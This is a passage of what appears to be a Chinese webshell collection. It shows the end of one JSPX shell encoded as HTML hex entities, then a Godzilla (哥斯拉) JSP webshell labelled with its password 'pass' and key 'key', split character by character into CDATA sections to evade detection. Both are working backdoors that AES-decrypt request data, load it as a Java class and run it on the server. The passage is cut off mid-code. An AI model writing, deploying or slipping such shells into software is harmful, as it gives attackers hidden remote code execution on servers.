2;&#x69;&#x6e;&#x67;&#x2e;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x20;&#x7d;&#x29;&#x2e;&#x69;&#x6e;&#x76;&#x6f;&#x6b;&#x65;&#x28;&#x64;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x72;&#x2c;&#x20;&#x6e;&#x65;&#x77;&#x20;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x5b;&#x5d;&#x20;&#x7b;&#x20;&#x62;&#x73;&#x20;&#x7d;&#x29;&#x3b;&#x7d;&#x20;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x65;&#x32;&#x29;&#x20;&#x7b;&#x7d;&#x7d;&#x72;&#x65;&#x74;&#x75;&#x72;&#x6e;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x3b;&#x20;&#x7d;</jsp:declaration><jsp:scriptlet>&#x74;&#x72;&#x79;&#x7b;&#x62;&#x79;&#x74;&#x65;&#x5b;&#x5d;&#x20;&#x64;&#x61;&#x74;&#x61;&#x3d;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x44;&#x65;&#x63;&#x6f;&#x64;&#x65;&#x28;&#x72;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x2e;&#x67;&#x65;&#x74;&#x50;&#x61;&#x72;&#x61;&#x6d;&#x65;&#x74;&#x65;&#x72;&#x28;&#x70;&#x61;&#x73;&#x73;&#x29;&#x29;&#x3b;&#x64;&#x61;&#x74;&#x61;&#x3d;&#x78;&#x28;&#x64;&#x61;&#x74;&#x61;&#x2c;&#x20;&#x66;&#x61;&#x6c;&#x73;&#x65;&#x29;&#x3b;&#x69;&#x66;&#x20;&#x28;&#x73;&#x65;&#x73;&#x73;&#x69;&#x6f;&#x6e;&#x2e;&#x67;&#x65;&#x74;&#x41;&#x74;&#x74;&#x72;&#x69;&#x62;&#x75;&#x74;&#x65;&#x28;&#x22;&#x70;&#x61;&#x79;&#x6c;&#x6f;&#x61;&#x64;&#x22;&#x29;&#x3d;&#x3d;&#x6e;&#x75;&#x6c;&#x6c;&#x29;&#x7b;&#x73;&#x65;&#x73;&#x73;&#x69;&#x6f;&#x6e;&#x2e;&#x73;&#x65;&#x74;&#x41;&#x74;&#x74;&#x72;&#x69;&#x62;&#x75;&#x74;&#x65;&#x28;&#x22;&#x70;&#x61;&#x79;&#x6c;&#x6f;&#x61;&#x64;&#x22;&#x2c;&#x6e;&#x65;&#x77;&#x20;&#x58;&#x28;&#x74;&#x68;&#x69;&#x73;&#x2e;&#x67;&#x65;&#x74;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x28;&#x29;&#x2e;&#x67;&#x65;&#x74;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x4c;&#x6f;&#x61;&#x64;&#x65;&#x72;&#x28;&#x29;&#x29;&#x2e;&#x51;&#x28;&#x64;&#x61;&#x74;&#x61;&#x29;&#x29;&#x3b;&#x7d;&#x65;&#x6c;&#x73;&#x65;&#x7b;&#x72;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x2e;&#x73;&#x65;&#x74;&#x41;&#x74;&#x74;&#x72;&#x69;&#x62;&#x75;&#x74;&#x65;&#x28;&#x22;&#x70;&#x61;&#x72;&#x61;&#x6d;&#x65;&#x74;&#x65;&#x72;&#x73;&#x22;&#x2c;&#x64;&#x61;&#x74;&#x61;&#x29;&#x3b;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x42;&#x79;&#x74;&#x65;&#x41;&#x72;&#x72;&#x61;&#x79;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x20;&#x61;&#x72;&#x72;&#x4f;&#x75;&#x74;&#x3d;&#x6e;&#x65;&#x77;&#x20;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x42;&#x79;&#x74;&#x65;&#x41;&#x72;&#x72;&#x61;&#x79;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x28;&#x29;&#x3b;&#x4f;&#x62;&#x6a;&#x65;&#x63;&#x74;&#x20;&#x66;&#x3d;&#x28;&#x28;&#x43;&#x6c;&#x61;&#x73;&#x73;&#x29;&#x73;&#x65;&#x73;&#x73;&#x69;&#x6f;&#x6e;&#x2e;&#x67;&#x65;&#x74;&#x41;&#x74;&#x74;&#x72;&#x69;&#x62;&#x75;&#x74;&#x65;&#x28;&#x22;&#x70;&#x61;&#x79;&#x6c;&#x6f;&#x61;&#x64;&#x22;&#x29;&#x29;&#x2e;&#x6e;&#x65;&#x77;&#x49;&#x6e;&#x73;&#x74;&#x61;&#x6e;&#x63;&#x65;&#x28;&#x29;&#x3b;&#x66;&#x2e;&#x65;&#x71;&#x75;&#x61;&#x6c;&#x73;&#x28;&#x61;&#x72;&#x72;&#x4f;&#x75;&#x74;&#x29;&#x3b;&#x66;&#x2e;&#x65;&#x71;&#x75;&#x61;&#x6c;&#x73;&#x28;&#x70;&#x61;&#x67;&#x65;&#x43;&#x6f;&#x6e;&#x74;&#x65;&#x78;&#x74;&#x29;&#x3b;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x2e;&#x67;&#x65;&#x74;&#x57;&#x72;&#x69;&#x74;&#x65;&#x72;&#x28;&#x29;&#x2e;&#x77;&#x72;&#x69;&#x74;&#x65;&#x28;&#x6d;&#x64;&#x35;&#x2e;&#x73;&#x75;&#x62;&#x73;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x28;&#x30;&#x2c;&#x31;&#x36;&#x29;&#x29;&#x3b;&#x66;&#x2e;&#x74;&#x6f;&#x53;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x28;&#x29;&#x3b;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x2e;&#x67;&#x65;&#x74;&#x57;&#x72;&#x69;&#x74;&#x65;&#x72;&#x28;&#x29;&#x2e;&#x77;&#x72;&#x69;&#x74;&#x65;&#x28;&#x62;&#x61;&#x73;&#x65;&#x36;&#x34;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x65;&#x28;&#x78;&#x28;&#x61;&#x72;&#x72;&#x4f;&#x75;&#x74;&#x2e;&#x74;&#x6f;&#x42;&#x79;&#x74;&#x65;&#x41;&#x72;&#x72;&#x61;&#x79;&#x28;&#x29;&#x2c;&#x20;&#x74;&#x72;&#x75;&#x65;&#x29;&#x29;&#x29;&#x3b;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x2e;&#x67;&#x65;&#x74;&#x57;&#x72;&#x69;&#x74;&#x65;&#x72;&#x28;&#x29;&#x2e;&#x77;&#x72;&#x69;&#x74;&#x65;&#x28;&#x6d;&#x64;&#x35;&#x2e;&#x73;&#x75;&#x62;&#x73;&#x74;&#x72;&#x69;&#x6e;&#x67;&#x28;&#x31;&#x36;&#x29;&#x29;&#x3b;&#x7d;&#x20;&#x7d;&#x63;&#x61;&#x74;&#x63;&#x68;&#x20;&#x28;&#x45;&#x78;&#x63;&#x65;&#x70;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x65;&#x29;&#x7b;&#x7d;</jsp:scriptlet></jsp:root>

CDATA 哥斯拉

哥斯拉,密码 pass,密钥 key

<?xml version="1.0" encoding="UTF-8"?><jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[x]]><![CDATA[c]]><![CDATA[=]]><![CDATA["]]><![CDATA[3]]><![CDATA[c]]><![CDATA[6]]><![CDATA[e]]><![CDATA[0]]><![CDATA[b]]><![CDATA[8]]><![CDATA[a]]><![CDATA[9]]><![CDATA[c]]><![CDATA[1]]><![CDATA[5]]><![CDATA[2]]><![CDATA[2]]><![CDATA[4]]><![CDATA[a]]><![CDATA["]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[p]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[=]]><![CDATA["]]><![CDATA[p]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA["]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[d]]><![CDATA[5]]><![CDATA[=]]><![CDATA[m]]><![CDATA[d]]><![CDATA[5]]><![CDATA[(]]><![CDATA[p]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[+]]><![CDATA[x]]><![CDATA[c]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[X]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[x]]><![CDATA[t]]><![CDATA[e]]><![CDATA[n]]><![CDATA[d]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[L]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[{]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[X]]><![CDATA[(]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[L]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[z]]><![CDATA[)]]><![CDATA[{]]><![CDATA[s]]><![CDATA[u]]><![CDATA[p]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[z]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[Q]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[b]]><![CDATA[)]]><![CDATA[{]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[u]]><![CDATA[p]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[d]]><![CDATA[e]]><![CDATA[f]]><![CDATA[i]]><![CDATA[n]]><![CDATA[e]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[c]]><![CDATA[b]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[0]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[b]]><![CDATA[.]]><![CDATA[l]]><![CDATA[e]]><![CDATA[n]]><![CDATA[g]]><![CDATA[t]]><![CDATA[h]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[x]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[,]]><![CDATA[b]]><![CDATA[o]]><![CDATA[o]]><![CDATA[l]]><![CDATA[e]]><![CDATA[a]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[)]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[{]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[x]]><![CDATA[.]]><![CDATA[c]]><![CDATA[r]]><![CDATA[y]]><![CDATA[p]]><![CDATA[t]]><![CDATA[o]]><![CDATA[.]]><![CDATA[C]]><![CDATA[i]]><![CDATA[p]]><![CDATA[h]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[=]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[x]]><![CDATA[.]]><![CDATA[c]]><![CDATA[r]]><![CDATA[y]]><![CDATA[p]]><![CDATA[t]]><![CDATA[o]]><![CDATA[.]]><![CDATA[C]]><![CDATA[i]]><![CDATA[p]]><![CDATA[h]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[A]]><![CDATA[E]]><![CDATA[S]]><![CDATA["]]><![CDATA[)]]><![CDATA[;]]><![CDATA[c]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[i]]><![CDATA[t]]><![CDATA[(]]><![CDATA[m]]><![CDATA[?]]><![CDATA[1]]><![CDATA[:]]><![CDATA[2]]><![CDATA[,]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[x]]><![CDATA[.]]><![CDATA[c]]><![CDATA[r]]><![CDATA[y]]><![CDATA[p]]><![CDATA[t]]><![CDATA[o]]><![CDATA[.]]><![CDATA[s]]><![CDATA[p]]><![CDATA[e]]><![CDATA[c]]><![CDATA[.]]><![CDATA[S]]><![CDATA[e]]><![CDATA[c]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[K]]><![CDATA[e]]><![CDATA[y]]><![CDATA[S]]><![CDATA[p]]><![CDATA[e]]><![CDATA[c]]><![CDATA[(]]><![CDATA[x]]><![CDATA[c]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[,]]><![CDATA["]]><![CDATA[A]]><![CDATA[E]]><![CDATA[S]]><![CDATA["]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[.]]><![CDATA[d]]><![CDATA[o]]><![CDATA[F]]><![CDATA[i]]><![CDATA[n]]><![CDATA[a]]><![CDATA[l]]><![CDATA[(]]><![CDATA[s]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[{]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[t]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[d]]><![CDATA[5]]><![CDATA[(]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[;]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[s]]><![CDATA[e]]><![CDATA[c]]><![CDATA[u]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[y]]><![CDATA[.]]><![CDATA[M]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[a]]><![CDATA[g]]><![CDATA[e]]><![CDATA[D]]><![CDATA[i]]><![CDATA[g]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[;]]><![CDATA[m]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[s]]><![CDATA[e]]><![CDATA[c]]><![CDATA[u]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[y]]><![CDATA[.]]><![CDATA[M]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[a]]><![CDATA[g]]><![CDATA[e]]><![CDATA[D]]><![CDATA[i]]><![CDATA[g]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[M]]><![CDATA[D]]><![CDATA[5]]><![CDATA["]]><![CDATA[)]]><![CDATA[;]]><![CDATA[m]]><![CDATA[.]]><![CDATA[u]]><![CDATA[p]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[s]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[0]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[.]]><![CDATA[l]]><![CDATA[e]]><![CDATA[n]]><![CDATA[g]]><![CDATA[t]]><![CDATA[h]]><![CDATA[(]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[m]]><![CDATA[a]]><![CDATA[t]]><![CDATA[h]]><![CDATA[.]]><![CDATA[B]]><![CDATA[i]]><![CDATA[g]]><![CDATA[I]]><![CDATA[n]]><![CDATA[t]]><![CDATA[e]]><![CDATA[g]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[1]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[m]]><![CDATA[.]]><![CDATA[d]]><![CDATA[i]]><![CDATA[g]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[(]]><![CDATA[)]]><![CDATA[)]]><![CDATA[.]]><![CDATA[t]]><![CDATA[o]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[(]]><![CDATA[1]]><![CDATA[6]]><![CDATA[)]]><![CDATA[.]]><![CDATA[t]]><![CDATA[o]]><![CDATA[U]]><![CDATA[p]]><![CDATA[p]]><![CDATA[e]]><![CDATA[r]]><![CDATA[C]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[}]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[t]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[t]]><![CDATA[h]]><![CDATA[r]]><![CDATA[o]]><![CDATA[w]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[;]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[;]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[=]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[.]]><![CDATA[f]]><![CDATA[o]]><![CDATA[r]]><![CDATA[N]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[u]]><![CDATA[t]]><![CDATA[i]]><![CDATA[l]]><![CDATA[.]]><![CDATA[B]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA["]]><![CDATA[)]]><![CDATA[;]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA["]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA["]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[)]]><![CDATA[;]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[)]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA["]]><![CDATA[e]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[T]]><![CDATA[o]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA["]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[.]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ 